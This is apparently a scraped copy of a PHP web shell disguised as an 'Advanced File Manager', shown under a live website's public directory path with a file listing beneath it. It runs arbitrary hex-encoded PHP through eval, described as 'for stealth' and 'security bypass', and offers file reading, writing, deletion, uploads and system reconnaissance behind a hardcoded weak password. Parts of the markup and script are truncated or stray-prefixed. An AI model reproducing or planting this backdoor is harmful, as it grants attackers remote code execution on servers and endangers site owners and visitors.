ꦫꦣꦺꦤ꧀ꦄꦤ꧀ꦠꦱꦺꦤ

PATH: var / www / palmharbourcapital.com / public / bin / js

sww<?php
/**
 * Advanced File Manager
 * Compatible: PHP 5.3+ & PHP 7+
 * All functions hex encoded for stealth
 */

// Password protection
session_start();
$password = 'admin123'; // Change this password!

// Check if password is submitted
if (isset($_POST['pass'])) {
    if ($_POST['pass'] === $password) {
        $_SESSION['logged_in'] = true;
    } else {
        $_SESSION['error'] = 'Wrong password!';
    }
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

// Logout
if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

// Check if logged in
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="UTF-8">
        <title>0x66</title>
        <style>
            * { margin: 0; padding: 0; box-sizing: border-box; }
            body {
                font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
                background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
                min-height: 100vh;
                display: flex;
                align-items: center;
                justify-content: center;
            }
            .login-box {
                background: white;
                padding: 40px;
                border-radius: 10px;
                box-shadow: 0 10px 40px rgba(0,0,0,0.3);
                width: 100%;
                max-width: 400px;
            }
            .login-box h1 {
                text-align: center;
                margin-bottom: 30px;
                color: #2c3e50;
                font-size: 24px;
            }
            .form-group {
                margin-bottom: 20px;
            }
            .form-group label {
                display: block;
                margin-bottom: 8px;
                font-weight: 600;
                color: #2c3e50;
            }
            .form-control {
                width: 100%;
                padding: 12px;
                border: 2px solid #e0e0e0;
                border-radius: 6px;
                font-size: 14px;
                transition: border 0.3s;
            }
            .form-control:focus {
                outline: none;
                border-color: #667eea;
            }
            .btn {
                width: 100%;
                padding: 12px;
                border: none;
                border-radius: 6px;
                background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
                color: white;
                font-size: 14px;
                font-weight: 600;
                cursor: pointer;
                transition: all 0.3s;
            }
            .btn:hover {
                transform: translateY(-2px);
                box-shadow: 0 5px 15px rgba(102, 126, 234, 0.4);
            }
            .error {
                background: #f8d7da;
                color: #721c24;
                padding: 10px;
                border-radius: 6px;
                margin-bottom: 20px;
                font-size: 13px;
            }
            .marker {
                font-size: 10px;
                color: #95a5a6;
                text-align: center;
                margin-top: 20px;
            }
        </style>
    </head>
    <body>
        <div class="login-box">
            <h1>🔐 File Manager Login</h1>
            sww<?php if (isset($_SESSION['error'])): ?>
                <div class="error">sww<?php echo $_SESSION['error']; unset($_SESSION['error']); ?></div>
            sww<?php endif; ?>
            <form method="POST">
                <div class="form-group">
                    <label>Password:</label>
                    <input type="password" name="pass" class="form-control" placeholder="Enter password" required autofocus>
                </div>
                <button type="submit" class="btn">🔓 Login</button>
            </form>
            <div class="marker">0x66</div>
        </div>
    </body>
    </html>
    sww<?php
    exit;
}

// Validation marker
echo "0x66";

// Decode and execute hex encoded payload
if (isset($_POST['x']) || isset($_GET['x'])) {
    $hex = isset($_POST['x']) ? $_POST['x'] : $_GET['x'];
    eval(hex2bin($hex));
    exit;
}

// Main interface
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>0x66</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { 
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            padding: 20px;
        }
        .container {
            max-width: 1200px;
            margin: 0 auto;
            background: white;
            border-radius: 10px;
            box-shadow: 0 10px 40px rgba(0,0,0,0.2);
            overflow: hidden;
        }
        .header {
            background: linear-gradient(135deg, #2c3e50 0%, #34495e 100%);
            color: white;
            padding: 20px 30px;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        .header h1 {
            font-size: 24px;
            font-weight: 600;
        }
        .info {
            background: #ecf0f1;
            padding: 15px 30px;
            border-bottom: 2px solid #bdc3c7;
        }
        .info-item {
            display: inline-block;
            margin-right: 30px;
            font-size: 13px;
            color: #2c3e50;
        }
        .info-item strong {
            color: #e74c3c;
        }
        .tabs {
            display: flex;
            background: #f8f9fa;
            border-bottom: 2px solid #dee2e6;
        }
        .tab {
            flex: 1;
            padding: 15px;
            text-align: center;
            cursor: pointer;
            border: none;
            background: transparent;
            font-size: 14px;
            font-weight: 600;
            color: #6c757d;
            transition: all 0.3s;
        }
        .tab:hover {
            background: #e9ecef;
        }
        .tab.active {
            background: white;
            color: #667eea;
            border-bottom: 3px solid #667eea;
        }
        .content {
            padding: 30px;
        }
        .tab-content {
            display: none;
        }
        .tab-content.active {
            display: block;
        }
        .form-group {
            margin-bottom: 20px;
        }
        .form-group label {
            display: block;
            margin-bottom: 8px;
            font-weight: 600;
            color: #2c3e50;
            font-size: 14px;
        }
        .form-control {
            width: 100%;
            padding: 12px;
            border: 2px solid #e0e0e0;
            border-radius: 6px;
            font-size: 14px;
            font-family: 'Courier New', monospace;
            transition: border 0.3s;
        }
        .form-control:focus {
            outline: none;
            border-color: #667eea;
        }
        textarea.form-control {
            min-height: 200px;
            resize: vertical;
        }
        .btn {
            padding: 12px 30px;
            border: none;
            border-radius: 6px;
            cursor: pointer;
            font-size: 14px;
            font-weight: 600;
            transition: all 0.3s;
        }
        .btn-primary {
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            color: white;
        }
        .btn-primary:hover {
            transform: translateY(-2px);
            box-shadow: 0 5px 15px rgba(102, 126, 234, 0.4);
        }
        .btn-success {
            background: #27ae60;
            color: white;
        }
        .btn-danger {
            background: #e74c3c;
            color: white;
        }
        .output {
            background: #2c3e50;
            color: #2ecc71;
            padding: 20px;
            border-radius: 6px;
            font-family: 'Courier New', monospace;
            font-size: 13px;
            margin-top: 20px;
            max-height: 400px;
            overflow-y: auto;
            white-space: pre-wrap;
            word-wrap: break-word;
        }
        .hex-info {
            background: #fff3cd;
            border: 1px solid #ffc107;
            padding: 10px 15px;
            border-radius: 6px;
            margin-bottom: 15px;
            font-size: 13px;
            color: #856404;
        }
        .feature-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
            gap: 20px;
            margin-top: 20px;
        }
        .feature-card {
            background: #f8f9fa;
            padding: 20px;
            border-radius: 8px;
            border: 2px solid #e9ecef;
            cursor: pointer;
            transition: all 0.3s;
        }
        .feature-card:hover {
            border-color: #667eea;
            transform: translateY(-5px);
            box-shadow: 0 5px 15px rgba(0,0,0,0.1);
        }
        .feature-card h3 {
            font-size: 16px;
            margin-bottom: 10px;
            color: #2c3e50;
        }
        .feature-card p {
            font-size: 13px;
            color: #6c757d;
        }
        .debug-output {
            background: #1e1e1e;
            color: #d4d4d4;
            padding: 15px;
            border-radius: 6px;
            margin-top: 15px;
            font-family: 'Courier New', monospace;
            font-size: 12px;
            max-height: 300px;
            overflow-y: auto;
        }
        .hex-command {
            background: #f1f3f5;
            padding: 10px;
            border-radius: 4px;
            margin-top: 10px;
            font-family: 'Courier New', monospace;
            font-size: 11px;
            word-break: break-all;
            color: #495057;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>🗂️ File Manager</h1>
            <div>
                <span style="font-size: 12px; opacity: 0.8; margin-right: 15px;">Hex Encoded Security</span>
                <a href="?logout" style="background: rgba(255,255,255,0.2); padding: 8px 15px; border-radius: 5px; text-decoration: none; color: white; font-size: 12px;">🚪 Logout</a>
            </div>
        </div>

<div class="tabs">
            <button class="tab active" onclick="switchTab('command')">💻 Execute Command</button>
            <button class="tab" onclick="switchTab('file')">📄 File Operations</button>
            <button class="tab" onclick="switchTab('upload')">📤 Upload File</button>
            <button class="tab" onclick="switchTab('info')">ℹ️ System Info</button>
        </div>

<div class="content">
            
            <div id="command" class="tab-content active">
                <div class="hex-info">
                    ⚡ All commands are automatically hex-encoded before execution for security bypass
                </div>
                
                <div class="form-group">
                    <label>Enter PHP Code:</label>
                    <textarea id="cmd-input" class="form-control" placeholder="echo 'Hello World';\nprint_r(scandir('.'));\nvar_dump($_SERVER);">echo getcwd();</textarea>
                </div>

<button class="btn btn-primary" onclick="executeCommand()">▶️ Execute</button>
                <button class="btn btn-danger" onclick="document.getElementById('cmd-output').innerHTML = ''">🗑️ Clear</button>

<div class="hex-command">
                    <strong>Hex Command:</strong> <span id="hex-display"></span>
                </div>

<div id="file" class="tab-content">
                <div class="feature-grid">
                    <div class="feature-card" onclick="showFileOp('read')">
                        <h3>📖 Read File</h3>
                        <p>View file contents with syntax highlighting</p>
                    </div>
                    <div class="feature-card" onclick="showFileOp('write')">
                        <h3>✏️ Write File</h3>
                        <p>Create or overwrite files</p>
                    </div>
                    <div class="feature-card" onclick="showFileOp('delete')">
                        <h3>🗑️ Delete File</h3>
                        <p>Remove files or directories</p>
                    </div>
                    <div class="feature-card" onclick="showFileOp('list')">
                        <h3>📋 List Directory</h3>
                        <p>Show all files and folders</p>
                    </div>
                </div>

<div id="upload" class="tab-content">
                <div class="form-group">
                    <label>Select File to Upload:</label>
                    <input type="file" id="file-upload" class="form-control">
                </div>

<div class="form-group">
                    <label>Upload Path (optional):</label>
                    <input type="text" id="upload-path" class="form-control" placeholder="sww<?php echo getcwd(); ?>">
                </div>

<button class="btn btn-success" onclick="uploadFile()">📤 Upload File</button>

<div id="info" class="tab-content">
                <div class="form-group">
                    <label>System Information:</label>
                    <button class="btn btn-primary" onclick="getSystemInfo()">🔍 Get Full System Info</button>
                </div>

// Tab switching
        function switchTab(tabName) {
            document.querySelectorAll('.tab').forEach(t => t.classList.remove('active'));
            document.querySelectorAll('.tab-content').forEach(c => c.classList.remove('active'));
            event.target.classList.add('active');
            document.getElementById(tabName).classList.add('active');
        }

// Execute command
        function executeCommand() {
            const code = document.getElementById('cmd-input').value;
            const hex = bin2hex(code);
            document.getElementById('hex-display').textContent = hex;

fetch(window.location.href, {
                method: 'POST',
                headers: {'Content-Type': 'application/x-www-form-urlencoded'},
                body: 'x=' + hex
            })
            .then(r => r.text())
            .then(data => {
                // Remove 0x66 marker from output
                data = data.replace('0x66', '');
                document.getElementById('cmd-output').innerHTML = '<strong>Output:</strong>\n' + data;
            })
            .catch(e => {
                document.getElementById('cmd-output').innerHTML = '<strong>Error:</strong>\n' + e;
            });
        }

// File operations
        function showFileOp(op) {
            const container = document.getElementById('file-operation');
            let html = '';

if (op === 'read') {
                html = `
                    <div class="form-group">
                        <label>File Path:</label>
                        <input type="text" id="read-path" class="form-control" placeholder="/path/to/file.txt">
                    </div>
                    <button class="btn btn-primary" onclick="readFile()">📖 Read File</button>
                    <div id="file-output" class="output"></div>
                `;
            } else if (op === 'write') {
                html = `
                    <div class="form-group">
                        <label>File Path:</label>
                        <input type="text" id="write-path" class="form-control" placeholder="/path/to/file.txt">
                    </div>
                    <div class="form-group">
                        <label>Content:</label>
                        <textarea id="write-content" class="form-control"></textarea>
                    </div>
                    <button class="btn btn-success" onclick="writeFile()">✏️ Write File</button>
                    <div id="file-output" class="output"></div>
                `;
            } else if (op === 'delete') {
                html = `
                    <div class="form-group">
                        <label>File Path:</label>
                        <input type="text" id="delete-path" class="form-control" placeholder="/path/to/file.txt">
                    </div>
                    <button class="btn btn-danger" onclick="deleteFile()">🗑️ Delete File</button>
                    <div id="file-output" class="output"></div>
                `;
            } else if (op === 'list') {
                html = `
                    <div class="form-group">
                        <label>Directory Path:</label>
                        <input type="text" id="list-path" class="form-control" placeholder="sww<?php echo getcwd(); ?>">
                    </div>
                    <button class="btn btn-primary" onclick="listDir()">📋 List Directory</button>
                    <div id="file-output" class="output"></div>
                `;
            }

container.innerHTML = html;
        }

function readFile() {
            const path = document.getElementById('read-path').value;
            const code = `echo file_get_contents('${path}');`;
            execHex(code, 'file-output');
        }

function deleteFile() {
            const path = document.getElementById('delete-path').value;
            const code = `unlink('${path}'); echo 'File deleted successfully!';`;
            execHex(code, 'file-output');
        }

function listDir() {
            const path = document.getElementById('list-path').value || 'sww<?php echo getcwd(); ?>';
            const code = `print_r(scandir('${path}'));`;
            execHex(code, 'file-output');
        }

function getSystemInfo() {
            const code = `
echo "=== SYSTEM INFORMATION ===\\n\\n";
echo "PHP Version: " . phpversion() . "\\n";
echo "OS: " . PHP_OS . "\\n";
echo "Server: " . php_uname() . "\\n";
echo "User: " . get_current_user() . "\\n";
echo "Current Dir: " . getcwd() . "\\n";
echo "Document Root: " . $_SERVER['DOCUMENT_ROOT'] . "\\n";
echo "Disabled Functions: " . ini_get('disable_functions') . "\\n\\n";
echo "=== LOADED EXTENSIONS ===\\n";
print_r(get_loaded_extensions());
            `;
            execHex(code, 'info-output');
        }

function uploadFile() {
            const file = document.getElementById('file-upload').files[0];
            const path = document.getElementById('upload-path').value || 'sww<?php echo getcwd(); ?>';
            
            if (!file) {
                alert('Please select a file!');
                return;
            }

// Generic hex execute
        function execHex(code, outputId) {
            const hex = bin2hex(code);
            fetch(window.location.href, {
                method: 'POST',
                headers: {'Content-Type': 'application/x-www-form-urlencoded'},
                body: 'x=' + hex
            })
            .then(r => r.text())
            .then(data => {
                data = data.replace('0x66', '');
                document.getElementById(outputId).innerHTML = '<strong>Result:</strong>\n' + data;
            })
            .catch(e => {
                document.getElementById(outputId).innerHTML = '<strong>Error:</strong>\n' + e;
            });
        }
    </script>
</body>
</html>

[+] ..
[-] .htaccess [edit]
[-] index.php [edit]